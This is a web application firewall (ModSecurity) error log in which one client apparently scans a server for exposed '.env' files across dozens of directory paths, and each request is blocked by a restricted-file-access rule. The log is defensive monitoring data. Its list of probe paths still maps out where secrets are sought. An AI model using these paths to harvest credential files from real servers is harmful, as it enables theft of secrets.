[Thu Feb 26 01:03:08.580795 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUsAAAAAc&quot;]
[Thu Feb 26 01:03:08.580939 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUsAAAAAc&quot;]
[Thu Feb 26 01:03:08.604294 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lemonldap-ng-fr-doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUsQAAAAc&quot;]
[Thu Feb 26 01:03:08.604707 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUsQAAAAc&quot;]
[Thu Feb 26 01:03:08.604873 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUsQAAAAc&quot;]
[Thu Feb 26 01:03:08.622046 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lcomernbootcamp/projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lgAAAAY&quot;]
[Thu Feb 26 01:03:08.622269 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lgAAAAY&quot;]
[Thu Feb 26 01:03:08.622437 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lgAAAAY&quot;]
[Thu Feb 26 01:03:08.648147 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /leafer-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lwAAAAY&quot;]
[Thu Feb 26 01:03:08.648365 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lwAAAAY&quot;]
[Thu Feb 26 01:03:08.648503 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lwAAAAY&quot;]
[Thu Feb 26 01:03:08.653803 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /letsencrypt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUsgAAAAc&quot;]
[Thu Feb 26 01:03:08.654028 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUsgAAAAc&quot;]
[Thu Feb 26 01:03:08.654162 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUsgAAAAc&quot;]
[Thu Feb 26 01:03:08.678549 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ledger_sync/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4mAAAAAY&quot;]
[Thu Feb 26 01:03:08.678766 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4mAAAAAY&quot;]
[Thu Feb 26 01:03:08.678907 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4mAAAAAY&quot;]
[Thu Feb 26 01:03:08.721906 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUswAAAAc&quot;]
[Thu Feb 26 01:03:08.722138 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUswAAAAc&quot;]
[Thu Feb 26 01:03:08.722279 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUswAAAAc&quot;]
[Thu Feb 26 01:03:08.791931 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /libraries/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUtQAAAAc&quot;]
[Thu Feb 26 01:03:08.792150 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUtQAAAAc&quot;]
[Thu Feb 26 01:03:08.792342 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUtQAAAAc&quot;]
[Thu Feb 26 01:03:08.798052 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /legal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4mwAAAAY&quot;]
[Thu Feb 26 01:03:08.798267 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4mwAAAAY&quot;]
[Thu Feb 26 01:03:08.798429 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4mwAAAAY&quot;]
[Thu Feb 26 01:03:08.815840 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUtgAAAAc&quot;]
[Thu Feb 26 01:03:08.816040 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUtgAAAAc&quot;]
[Thu Feb 26 01:03:08.816186 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUtgAAAAc&quot;]
[Thu Feb 26 01:03:08.847558 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lemonldap-ng-doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4nAAAAAY&quot;]
[Thu Feb 26 01:03:08.847771 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4nAAAAAY&quot;]
[Thu Feb 26 01:03:08.847918 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4nAAAAAY&quot;]
[Thu Feb 26 01:03:08.855854 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /libs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUtwAAAAc&quot;]
